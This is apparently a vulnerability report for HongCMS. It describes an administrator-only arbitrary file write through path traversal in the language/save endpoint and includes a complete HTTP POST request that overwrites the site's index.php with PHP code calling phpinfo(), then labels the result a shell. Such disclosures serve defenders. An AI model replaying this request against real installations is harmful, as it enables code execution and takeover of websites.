Arbitrary File Write (Administrator Privilege)

[unh3x]

Steps To Reproduce:

1. Login to the backstage as the administrator;
2. POST

POST /hongcms-master/admin/index.php/language/save HTTP/1.1
Host: 192.168.0.110
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.110/hongcms-master/admin/index.php/language/edit?filename=../../index.php
Cookie: testcookie=; am_username=; am_check=; liveapm-_zldp=IEKA1hnqJET9LW%2FttPBKrBBtjJYezyyxZsrysO7UIrSARjJ3Ol2shg%2BooFk2gOIi; PHPSESSID=r8sl1bq7voe1bpj471s4iu1dr6; 8eWm8DB4XZdBadmin=3f3a10d863312b8dfb046f289672f9f2
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 925

filename=..%2F..%2Findex.php&filecontent=%3C%3Fphp++%0D%0Aphpinfo%28%29%3B%0D%0Adefine%28%27ROOT%27%2C+dirname%28__FILE__%29.%27%2F%27%29%3B++%2F%2F%E7%B3%BB%E7%BB%9F%E7%A8%8B%E5%BA%8F%E6%A0%B9%E8%B7%AF%E5%BE%84%2C+%E5%BF%85%E9%A1%BB%E5%AE%9A%E4%B9%89%2C+%E7%94%A8%E4%BA%8E%E9%98%B2%E7%BF%BB%E5%A2%99%0D%0A%0D%0Arequire%28ROOT+.+%27includes%2Fcore.php%27%29%3B++%2F%2F%E5%8A%A0%E8%BD%BD%E6%A0%B8%E5%BF%83%E6%96%87%E4%BB%B6%0D%0A%0D%0A%0D%0A%2F%2F+APP%3A%3AsetSplitFlag%28%22-.%22%29%3B+%2F%2Fpathinfo%E5%88%86%E9%9A%94%E7%AC%A6%0D%0A%2F%2F+APP%3A%3AsetDebug%280%29%3B+%2F%2FAPP%E9%BB%98%E8%AE%A4%E6%98%BE%E7%A4%BA%E8%B0%83%E8%AF%95%E4%BF%A1%E6%81%AF%2C+%E7%BD%91%E7%AB%99%E5%AE%8C%E6%88%90%E5%90%8E%E5%8F%AF%E5%8F%96%E6%B6%88%E6%B3%A8%E9%87%8A%E6%AD%A4%E8%A1%8C%2C+%E5%8F%91%E7%94%9F%E9%94%99%E8%AF%AF%E6%97%B6%E8%87%AA%E5%8A%A8%E8%B7%B3%E8%BD%AC%E5%88%B0%E9%A6%96%E9%A1%B5%0D%0A%0D%0AAPP%3A%3Arun%28%29%3B%0D%0A%0D%0A%3F%3E+

3. shell is : http://192.168.0.110/hongcms-master/index.php